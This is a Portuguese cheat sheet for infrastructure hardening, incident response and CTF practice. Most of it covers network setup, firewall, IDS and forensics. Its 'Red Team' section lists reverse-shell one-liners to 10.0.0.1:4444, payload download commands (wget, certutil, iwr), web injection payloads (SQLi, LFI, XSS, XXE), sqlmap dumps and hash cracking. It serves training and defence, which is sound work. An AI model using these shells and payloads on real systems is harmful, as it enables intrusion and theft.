Referência rápida de operações
Comandos, filtros e checklists para infraestrutura, resposta a incidentes e CTF. Use a busca da lateral — ela filtra tudo instantaneamente. Cada bloco tem botão de copiar.
00Redes, placas de rede & VLANs
Configuração de IP, interfaces e VLANs (802.1Q) em Linux, Windows e pfSense. Base para praticamente todo o Módulo 1.
Identificar interfaces (placas de rede)
Linux — listar NICs, links e rotas
ip a # endereços de todas as interfaces
ip link show # estado up/down das NICs
ip route # tabela de rotas / gateway default
ethtool eth0 # velocidade, link, driver da placa
lspci | grep -i net # hardware de rede físico
nmcli device status # NetworkManager (Ubuntu desktop)Nomes comuns: eth0, ens33, enp0s3 (nomenclatura previsível do systemd).
Windows — interfaces e IP
ipconfig /all # tudo: IP, MAC, DNS, DHCP
Get-NetAdapter # PowerShell: NICs e status
Get-NetIPAddress | ft InterfaceAlias,IPAddress
netsh interface show interface # nomes das interfacesConfigurar IP estático
Ubuntu Server — Netplan (/etc/netplan/*.yaml)
# /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
ens33:
dhcp4: no
addresses: [192.168.10.5/24]
routes:
- to: default
via: 192.168.10.1
nameservers:
addresses: [1.1.1.1, 8.8.8.8]
# aplicar:
sudo netplan applyWindows — PowerShell / netsh
# PowerShell
New-NetIPAddress -InterfaceAlias "Ethernet0" `
-IPAddress 192.168.10.6 -PrefixLength 24 `
-DefaultGateway 192.168.10.1
Set-DnsClientServerAddress -InterfaceAlias "Ethernet0" `
-ServerAddresses 1.1.1.1,8.8.8.8
# netsh (equivalente)
netsh interface ip set address "Ethernet0" static 192.168.10.6 255.255.255.0 192.168.10.1VLANs (802.1Q) — provável na prova
VLAN = separação lógica de redes no mesmo switch físico. Porta access pertence a 1 VLAN (sem tag). Porta trunk carrega várias VLANs com tag 802.1Q. O ID da VLAN vai no tag.
Linux — criar interface VLAN (ex.: VLAN 20 sobre ens33)
# carregar módulo (geralmente já ativo)
sudo modprobe 8021q
# criar sub-interface com tag da VLAN 20
sudo ip link add link ens33 name ens33.20 type vlan id 20
sudo ip addr add 192.168.20.5/24 dev ens33.20
sudo ip link set ens33.20 up
# verificar
ip -d link show ens33.20Ubuntu Server — VLAN persistente no Netplan
network:
version: 2
ethernets:
ens33: {dhcp4: no}
vlans:
vlan20:
id: 20
link: ens33
addresses: [192.168.20.5/24]pfSense — criar VLAN (via console/GUI)
# GUI: Interfaces > Assignments > VLANs > Add
# Parent interface: em0 (a NIC física / trunk)
# VLAN Tag: 20 | Description: SERVIDORES
# Depois: Interfaces > Assignments > adicionar a VLAN como nova interface
# Habilitar, definir IP estático, e criar regras de firewall para ela.
# Windows — VLAN normalmente é configurada no driver da NIC ou no switch,
# não no SO. Em Hyper-V: Set-VMNetworkAdapterVlan -VMName X -Access -VlanId 201apfSense
Firewall/roteador. Regra de ouro: default deny — só passa o que for explicitamente permitido. Ordem das regras importa (avalia de cima para baixo, primeira que casar vence).
Setup inicial
# No console após boot:
# 1) Assign Interfaces -> definir WAN (em0) e LAN (em1)
# 2) Set interface IP -> LAN ex: 192.168.1.1/24, habilitar DHCP
# 3) Acessar GUI: https://192.168.1.1 (admin / pfsense)
# Opção 8 no console = shell; pfSsh.php para comandos internos
Regras de firewall (Firewall > Rules)
Cada interface tem sua aba. Regras são stateful e avaliadas por interface, no sentido de entrada daquela interface. LAN já vem com "allow LAN to any" por padrão — remova/restrinja para hardening.
| Objetivo | Action | Interface | Source | Dest / Porta |
|---|---|---|---|---|
| Bloquear tudo por padrão | Block/Reject | LAN (última regra) | any | any |
| Liberar web para fora | Pass | LAN | LAN net | any : 80,443 |
| Liberar DNS | Pass | LAN | LAN net | any : 53 |
| Publicar servidor web (port forward) | NAT | WAN | any | WAN addr:443 → server:443 |
| Bloquear IP atacante | Block | WAN (topo) | IP/alias | any |
NAT & Aliases
# Port forward: Firewall > NAT > Port Forward > Add
# Interface WAN | Proto TCP | Dest WAN address | Port 443
# Redirect target IP: 192.168.1.10 | Redirect port 443
# (cria regra de firewall associada automaticamente)
# Outbound NAT: Firewall > NAT > Outbound (Automatic p/ maioria)
# Aliases: Firewall > Aliases — agrupar IPs/portas p/ reusar em regras
# ex: alias BLOCKLIST com IPs maliciosos, usar em 1 regra Block
Diagnostics > Ping / Test Port / States. Ver logs em tempo real: Status > System Logs > Firewall. Pacotes extra: System > Package Manager (Snort, Suricata, pfBlockerNG).
1bSnort / Suricata (IDS/IPS)
Detecção de intrusão baseada em assinaturas. No pfSense é um pacote; standalone você edita rules e lê alertas.
Anatomia de uma regra
alert tcp any any -> $HOME_NET 22 ( \
msg:"SSH brute-force suspeito"; \
flags:S; \
threshold:type both, track by_src, count 5, seconds 30; \
sid:1000001; rev:1; )
# action proto src_ip src_port -> dst_ip dst_port ( opções )
# actions: alert | log | pass | drop(IPS) | reject
Snort — operação (CLI)
snort -V # versão
snort -T -c /etc/snort/snort.conf # testar config
snort -q -A console -c /etc/snort/snort.conf -i eth0 # rodar, alertas no console
snort -r captura.pcap -c snort.conf -A full # analisar pcap offline
tail -f /var/log/snort/alert # ler alertasSuricata — operação
suricata -T -c /etc/suricata/suricata.yaml # testar
suricata -c /etc/suricata/suricata.yaml -i eth0
suricata -r captura.pcap -l ./out # offline p/ pcap
tail -f /var/log/suricata/fast.log # alertas resumidos
jq . /var/log/suricata/eve.json # eventos detalhados (JSON)1cUbuntu / Linux Server — hardening & administração
Criação de usuários, políticas, sudo, SSH, firewall e serviços. O núcleo do hardening Linux.
Usuários & grupos
sudo adduser joao # cria usuário + home + senha (interativo)
sudo useradd -m -s /bin/bash joao # equivalente não-interativo
sudo passwd joao # definir/trocar senha
sudo usermod -aG sudo joao # dar sudo (grupo sudo)
sudo deluser joao # remover (--remove-home p/ apagar home)
sudo usermod -L joao # travar conta | -U destrava
sudo groupadd equipe ; sudo gpasswd -a joao equipe
id joao ; groups joao # conferir grupos
awk -F: '$3==0{print $1}' /etc/passwd # achar contas UID 0 (backdoor!)
Política de senha & expiração
# /etc/login.defs — política padrão p/ novos usuários
PASS_MAX_DAYS 90
PASS_MIN_DAYS 1
PASS_WARN_AGE 7
# chage — por usuário
sudo chage -M 90 -m 1 -W 7 joao
sudo chage -l joao # ver expiração
sudo chage -d 0 joao # forçar troca no próximo login
# Complexidade: /etc/security/pwquality.conf (pacote libpam-pwquality)
minlen = 12
minclass = 3 # mín. de tipos de caractere (maiúsc/minúsc/dígito/símbolo)
SSH hardening (/etc/ssh/sshd_config)
PermitRootLogin no
PasswordAuthentication no # só chave (se aplicável)
PubkeyAuthentication yes
Port 2222 # trocar porta padrão
MaxAuthTries 3
AllowUsers joao maria # whitelist de usuários
X11Forwarding no
# aplicar:
sudo systemctl restart ssh
Firewall (UFW / nftables)
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 2222/tcp # SSH na porta nova
sudo ufw allow 443/tcp
sudo ufw enable ; sudo ufw status numbered
sudo ufw delete 3 # remover regra nº 3
# iptables (baixo nível):
sudo iptables -L -n -v ; sudo iptables -A INPUT -p tcp --dport 22 -j DROP
fail2ban (anti brute-force)
sudo apt install fail2ban
# /etc/fail2ban/jail.local
[sshd]
enabled = true
port = 2222
maxretry = 4
bantime = 1h
findtime = 10m
sudo systemctl restart fail2ban
sudo fail2ban-client status sshd # ver IPs banidos
Serviços, SUID & auditoria
systemctl list-units --type=service --state=running # o que roda
sudo systemctl disable --now cups # desligar serviço inútil
find / -perm -4000 -type f 2>/dev/null # binários SUID (revisar!)
find / -writable -type d 2>/dev/null # dirs graváveis
sudo apt install auditd ; sudo systemctl enable --now auditd
sudo ausearch -m USER_LOGIN --success no # logins falhos via auditd
apt update && apt upgrade) · umask 027.1dWindows Server / Active Directory
Usuários, grupos, GPO, política de senha, firewall e roles. Comandos net, PowerShell e AD.
Usuários & grupos (local)
# net (clássico)
net user joao P@ssw0rd! /add
net user joao /active:yes
net localgroup Administrators joao /add
net user joao # detalhes da conta
net user joao /delete
# PowerShell
New-LocalUser -Name joao -Password (Read-Host -AsSecureString)
Add-LocalGroupMember -Group "Administrators" -Member joao
Get-LocalUser ; Get-LocalGroupMember Administrators
Active Directory (Domain)
# Promover servidor a Controlador de Domínio
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "corp.local" -InstallDns
# Usuários / grupos de domínio
New-ADUser -Name "Joao Silva" -SamAccountName joao `
-AccountPassword (Read-Host -AsSecureString) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members joao
Get-ADUser -Filter * | ft Name,SamAccountName,Enabled
Search-ADAccount -LockedOut # contas travadas
Política de senha & GPO
# Política via net (local / domínio default)
net accounts /minpwlen:12 /maxpwage:90 /minpwage:1 /uniquepw:5
net accounts /lockoutthreshold:5 /lockoutduration:30 /lockoutwindow:15
# GPO (Group Policy)
gpmc.msc # console de gerenciamento de GPO
gpupdate /force # aplicar GPOs agora
gpresult /r # quais GPOs se aplicam à máquina
secpol.msc # política de segurança local
# Caminhos GPO úteis:
# Computer > Policies > Windows Settings > Security Settings > Account Policies
# ...Local Policies > Audit Policy (habilitar auditoria de logon)
Firewall, serviços & auditoria
# Firewall (netsh + PowerShell)
netsh advfirewall set allprofiles state on
New-NetFirewallRule -DisplayName "Block Telnet" -Direction Inbound `
-Protocol TCP -LocalPort 23 -Action Block
Get-NetFirewallRule | ? Enabled -eq True
# Serviços
Get-Service | ? Status -eq Running
Set-Service -Name RemoteRegistry -StartupType Disabled
sc.exe query state= all
# Auditoria (para gerar Event IDs 4624/4625 etc.)
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
Hardening — pontos críticos
# Desabilitar SMBv1 (WannaCry/EternalBlue)
Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
Get-SmbServerConfiguration | select EnableSMB1Protocol
# Roles/Features
Get-WindowsFeature | ? Installed
Install-WindowsFeature Web-Server -IncludeManagementTools # IIS
Uninstall-WindowsFeature ... # remover o que não usa
1eHardening de Web Server
Apache (apache2.conf / .conf do site)
ServerTokens Prod # esconde versão
ServerSignature Off
TraceEnable Off
Options -Indexes # sem listagem de diretório
# Headers (mod_headers):
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Strict-Transport-Security "max-age=31536000"
Header always set Content-Security-Policy "default-src 'self'"
# limitar métodos:
<LimitExcept GET POST HEAD> Require all denied </LimitExcept>
# WAF: a2enmod security2 (ModSecurity)Nginx (nginx.conf / server block)
server_tokens off; # esconde versão
autoindex off; # sem listagem
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Strict-Transport-Security "max-age=31536000" always;
add_header Content-Security-Policy "default-src 'self'" always;
# bloquear métodos:
if ($request_method !~ ^(GET|POST|HEAD)$) { return 405; }
# TLS forte:
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;| Header | Protege contra |
|---|---|
Strict-Transport-Security | Downgrade p/ HTTP, SSL strip |
Content-Security-Policy | XSS, injeção de recursos |
X-Frame-Options | Clickjacking |
X-Content-Type-Options | MIME sniffing |
Referrer-Policy | Vazamento de URL |
2CVSS 3.1 — pontuação de vulnerabilidades
Módulo offline: você identifica e classifica, não corrige. Decore as 8 métricas base. Calculadora: first.org/cvss/calculator/3.1.
Métricas base (o vetor)
| Métrica | Sigla | Valores | Nota mental |
|---|---|---|---|
| Attack Vector | AV | N / A / L / P | Network = pior (remoto) |
| Attack Complexity | AC | L / H | Low = mais grave |
| Privileges Required | PR | N / L / H | None = mais grave |
| User Interaction | UI | N / R | None = mais grave |
| Scope | S | U / C | Changed = escapa do componente |
| Confidentiality | C | H / L / N | impacto em sigilo |
| Integrity | I | H / L / N | impacto em dados |
| Availability | A | H / L / N | impacto em disponibilidade |
Faixas de severidade
| Score | Severidade |
|---|---|
| 0.0 | None |
| 0.1 – 3.9 | Low |
| 4.0 – 6.9 | Medium |
| 7.0 – 8.9 | High |
| 9.0 – 10.0 | Critical |
Exemplos de vetor
# SQLi remota sem autenticação, dump total do banco
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N -> 9.1 Critical
# XSS refletido (precisa a vítima clicar) — escapa p/ o navegador dela
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N -> 6.1 Medium
# Privesc local (precisa já estar logado)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H -> 7.8 High
Vetores de referência — prontos p/ classificar (offline)
| Vulnerabilidade | Vetor | Nota |
|---|---|---|
| SQLi não-auth, dump total (C/I/A) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 |
| RCE pré-autenticação | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 |
| Credencial hardcoded exposta remotamente | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 |
| XSS refletido | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | 6.1 |
| XSS armazenado (precisa conta p/ inserir) | AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N | 5.4 |
| IDOR — lê dados de outro usuário | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N | 6.5 |
| Privesc local | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 7.8 |
| DoS remoto sem auth | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | 7.5 |
PR não é N. Use S:C só quando o impacto sai do componente (XSS, SSRF, escape de sandbox). CVSS mede impacto técnico, não de negócio.3aForense de memória — Volatility
Análise de dump de RAM. Volatility 3 não precisa de profile; o 2 precisa.
Volatility 3 (recomendado)
vol -f dump.raw windows.info # SO, build
vol -f dump.raw windows.pslist # processos
vol -f dump.raw windows.pstree # árvore (pai/filho)
vol -f dump.raw windows.psscan # inclui processos ocultos/mortos
vol -f dump.raw windows.cmdline # linha de comando de cada proc
vol -f dump.raw windows.netscan # conexões de rede
vol -f dump.raw windows.malfind # código injetado / suspeito
vol -f dump.raw windows.dlllist --pid 1234
vol -f dump.raw windows.filescan # arquivos em memória
vol -f dump.raw windows.hashdump # hashes de senha (SAM)
vol -f dump.raw windows.registry.hivelist
# Linux: vol -f dump.raw linux.pslist / linux.bash (histórico!)Volatility 2 (fallback)
vol.py -f dump.raw imageinfo # descobrir o profile
vol.py -f dump.raw --profile=Win7SP1x64 pslist
vol.py ... pstree / netscan / cmdline / malfind / hashdumpTruque: flag escondida na RAM
strings dump.raw | grep -i "flag{"
strings -e l dump.raw | grep -i "CTF" # -e l = UTF-16 (Windows)3bForense de rede — PCAP
Wireshark (GUI) e tshark (CLI). Procure credenciais em protocolo texto, exfiltração e ferramentas de ataque.
Filtros de exibição do Wireshark
| Filtro | Mostra |
|---|---|
http.request | requisições HTTP |
http.request.method == "POST" | POSTs (logins, uploads) |
ip.addr == 10.0.0.5 | tráfego de/para um host |
tcp.port == 21 || ftp | FTP (creds em texto) |
dns | consultas DNS (exfil / C2) |
tcp.flags.syn==1 && tcp.flags.ack==0 | port scan (muitos SYN) |
frame contains "password" | busca string no pacote |
Clique direito no pacote → Follow > TCP Stream para ver a conversa inteira. File > Export Objects > HTTP para extrair arquivos transferidos.
tshark (linha de comando)
tshark -r cap.pcap -Y "http.request" -T fields -e ip.src -e http.host -e http.request.uri
tshark -r cap.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg
tshark -r cap.pcap -qz io,phs # hierarquia de protocolos
tshark -r cap.pcap -qz conv,tcp # conversas TCP
tshark -r cap.pcap --export-objects http,./out # extrair arquivos
# NetworkMiner: extrai creds/arquivos/imagens automaticamente (GUI)3cForense de disco & arquivos
# Sleuth Kit — analisar imagem de disco
mmls disk.img # tabela de partições / offsets
fls -r -o 2048 disk.img # listar arquivos (inc. deletados *)
icat -o 2048 disk.img 1234 # extrair arquivo pelo inode
# Carving / arquivos embutidos
binwalk arquivo # identifica/extrai (-e) conteúdo embutido
foremost -i disk.img -o out # recuperar por assinatura
exiftool imagem.jpg # metadados (GPS, autor, software)
# Sempre útil
file desconhecido # tipo real do arquivo
strings -n 8 arquivo | less # texto legível
xxd arquivo | head # hex dump (ver magic bytes)
sha256sum evidencia # cadeia de custódia / integridade
steghide extract -sf img.jpg · zsteg img.png · exiftool · comentário no fim do arquivo com strings.4aBlue Team — logs Linux
| Arquivo | Contém |
|---|---|
/var/log/auth.log (Debian) | SSH, sudo, logins |
/var/log/secure (RHEL) | idem |
/var/log/syslog | sistema geral |
/var/log/apache2/, nginx/ | access.log, error.log |
last / lastb | logins ok / falhos (wtmp/btmp) |
~/.bash_history | comandos do atacante |
# brute force SSH
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn
# login que teve SUCESSO (após tentativas = comprometido)
grep "Accepted" /var/log/auth.log
# uso de sudo
grep "sudo:" /var/log/auth.log
# criação de usuário / mudança
grep -E "useradd|new user|passwd changed" /var/log/auth.log
# top IPs de tentativas falhas
lastb | awk '{print $3}' | sort | uniq -c | sort -rn | head
4bBlue Team — logs Windows (Event IDs)
| Event ID | Evento | Por que importa |
|---|---|---|
4624 | Logon com sucesso | ver Logon Type (3=rede, 10=RDP) |
4625 | Falha de logon | vários = brute force |
4634 / 4647 | Logoff | timeline de sessão |
4672 | Privilégios especiais no logon | logon administrativo |
4688 | Criação de processo | o que foi executado |
4720 | Conta de usuário criada | persistência |
4732 / 4728 | Membro add a grupo admin | escalada |
7045 | Serviço instalado | persistência / malware |
1102 | Log de auditoria LIMPO | anti-forense (alerta!) |
4104 | PowerShell ScriptBlock | scripts maliciosos |
4648 | Logon com credencial explícita | runas — movimento lateral |
4698 | Tarefa agendada criada | persistência (cron do Windows) |
Logon Types (campo do 4624/4625 — decore)
| Type | Significado | Sinal de alerta |
|---|---|---|
2 | Interativo (console local) | acesso físico ao teclado |
3 | Rede (SMB, compartilhamento) | acesso a recurso pela rede |
4 | Batch (tarefa agendada) | execução automatizada |
5 | Serviço | serviço iniciando |
7 | Unlock (desbloqueio de tela) | — |
8 | NetworkCleartext | senha trafegou em claro (IIS, básico) |
9 | NewCredentials (runas /netonly) | lateral com credencial alternativa |
10 | RemoteInteractive (RDP) | acesso remoto por área de trabalho |
11 | CachedInteractive | logon com cache (offline do DC) |
# PowerShell — consultar Event Log
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} -MaxEvents 50
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} |
? {$_.Message -match "Logon Type:\s+10"} # só RDP
wevtutil qe Security /q:"*[System[(EventID=4625)]]" /f:text /c:20
# Padrão de brute force bem-sucedido: N x 4625 seguido de 4624 do mesmo IP
4cBlue Team — logs de servidor web
# top IPs por nº de requisições
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head
# assinaturas de ataque (SQLi, LFI, XSS, scanners)
grep -Ei "union.*select|or 1=1|\.\./|/etc/passwd|<script|base64_|cmd=" access.log
# scanners por User-Agent
grep -Ei "sqlmap|nikto|nmap|dirbuster|gobuster|hydra" access.log
# respostas 200 em URLs de ataque (deu certo!)
grep "admin" access.log | grep ' 200 '
# muitos 404 do mesmo IP = fuzzing de diretório
awk '$9==404{print $1}' access.log | sort | uniq -c | sort -rn
Formato padrão (combined): IP - user [data] "MÉTODO url HTTP" status tamanho "referer" "user-agent". Campo $1=IP, $9=status.
5aRed Team — recon & enumeração
# Nmap
nmap -sC -sV -oN scan.txt ALVO # scripts default + versões
nmap -p- --min-rate 5000 ALVO # todas as 65535 portas, rápido
nmap -sU --top-ports 20 ALVO # UDP comuns
nmap --script vuln ALVO # checagem de vulns conhecidas
# Diretórios / arquivos web
gobuster dir -u http://ALVO -w /usr/share/wordlists/dirb/common.txt -x php,txt
ffuf -u http://ALVO/FUZZ -w wordlist.txt -mc 200,301,302
# Subdomínios / vhosts
ffuf -u http://ALVO -H "Host: FUZZ.alvo.com" -w subs.txt -fs 0
# Web scanner
nikto -h http://ALVO
# SMB / serviços
enum4linux -a ALVO ; smbclient -L //ALVO -N
5bRed Team — exploração web
| Vuln | Payload / teste |
|---|---|
| SQLi (auth bypass) | ' OR '1'='1'-- - |
| SQLi (union) | ' UNION SELECT null,version()-- - |
| LFI | ../../../../etc/passwd |
| LFI (PHP wrapper) | php://filter/convert.base64-encode/resource=index.php |
| Command injection | ; id · | whoami · `id` · $(id) |
| XSS | <script>alert(1)</script> · <img src=x onerror=alert(1)> |
| SSTI | {{7*7}} → 49 ? · ${7*7} |
| XXE | <!ENTITY x SYSTEM "file:///etc/passwd"> |
| IDOR | trocar id=1 → id=2 na URL/POST |
sqlmap (automatizado)
sqlmap -u "http://ALVO/item?id=1" --batch --dbs
sqlmap -u "http://ALVO/item?id=1" -D loja --tables
sqlmap -u "http://ALVO/item?id=1" -D loja -T users --dump
sqlmap -r request.txt --batch # a partir de request salvo do Burp5cRed Team — reverse shells & transferência
Listener (na sua máquina)
nc -lvnp 4444
# ou rlwrap nc -lvnp 4444 (histórico + setas)Reverse shells (no alvo) — troque IP/porta
# Bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# Python
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
# Netcat
nc -e /bin/bash 10.0.0.1 4444
# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.0.0.1',4444);..."Estabilizar TTY (shell decente)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z, depois: stty raw -echo; fg # Enter Enter
export TERM=xtermTransferência de arquivos
# Servidor HTTP rápido (atacante)
python3 -m http.server 8000
# Baixar no alvo
wget http://10.0.0.1:8000/file | curl -O http://10.0.0.1:8000/file
# Windows
certutil -urlcache -f http://10.0.0.1:8000/f.exe f.exe
powershell iwr http://10.0.0.1:8000/f.exe -OutFile f.exe
# scp
scp arquivo user@host:/tmp/5dRed Team — escalada de privilégios
Linux
sudo -l # o que posso rodar como root
find / -perm -4000 2>/dev/null # binários SUID -> GTFOBins
getcap -r / 2>/dev/null # capabilities
cat /etc/crontab ; ls -la /etc/cron* # tarefas agendadas
uname -a # kernel (exploit?)
# automatizado: linpeas.sh / linenum.sh
# consultar GTFOBins p/ escapar de binário SUID/sudoWindows
whoami /priv # privilégios (SeImpersonate!)
whoami /groups
Get-Service | ? {$_.StartType -eq 'Automatic'}
sc qc <servico> # binpath (unquoted path?)
# automatizado: winPEAS.exe / PowerUp.ps1
# senhas em: registro, arquivos de config, histórico do PowerShell
reg query HKLM /f password /t REG_SZ /sfind, vim, python, tar, nmap — todos com técnica de escape via SUID/sudo).5eRed Team — criptografia & hashes
Regra de ouro: primeiro identifique o esquema, depois ataque. CyberChef (baixe offline) resolve a maioria de encoding.
Identificar & decodificar
# Encodings comuns
echo "aGVsbG8=" | base64 -d # Base64 (termina em = )
echo "68656c6c6f" | xxd -r -p # Hex
echo "uryyb" | tr 'A-Za-z' 'N-ZA-Mn-za-m' # ROT13
# CyberChef: "Magic" detecta automaticamente base/hex/rot/XOR encadeados
# Cifra de substituição -> análise de frequência (quipqiup.com)
Quebra de hash
# identificar tipo pelo formato/tamanho
hashid '5f4dcc3b5aa765d61d8327deb882cf99' # 32 hex = MD5
# John
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt
# Hashcat (-m = modo) 0=MD5 100=SHA1 1400=SHA256 1800=sha512crypt 3200=bcrypt
hashcat -m 0 -a 0 hashes.txt rockyou.txt
# hash de arquivo protegido -> john
zip2john x.zip > h ; rar2john x.rar > h ; ssh2john id_rsa > h
RSA & XOR (CTF)
# RSA com n pequeno: fatorar em factordb.com para achar p,q
# depois: d = inverso(e, (p-1)(q-1)) ; m = c^d mod n
# XOR single-byte: força bruta das 256 chaves
python3 -c "ct=bytes.fromhex('...'); [print(k, bytes(b^k for b in ct)) for k in range(256)]"
# chave conhecida em texto? XOR ct com known-plaintext revela a chave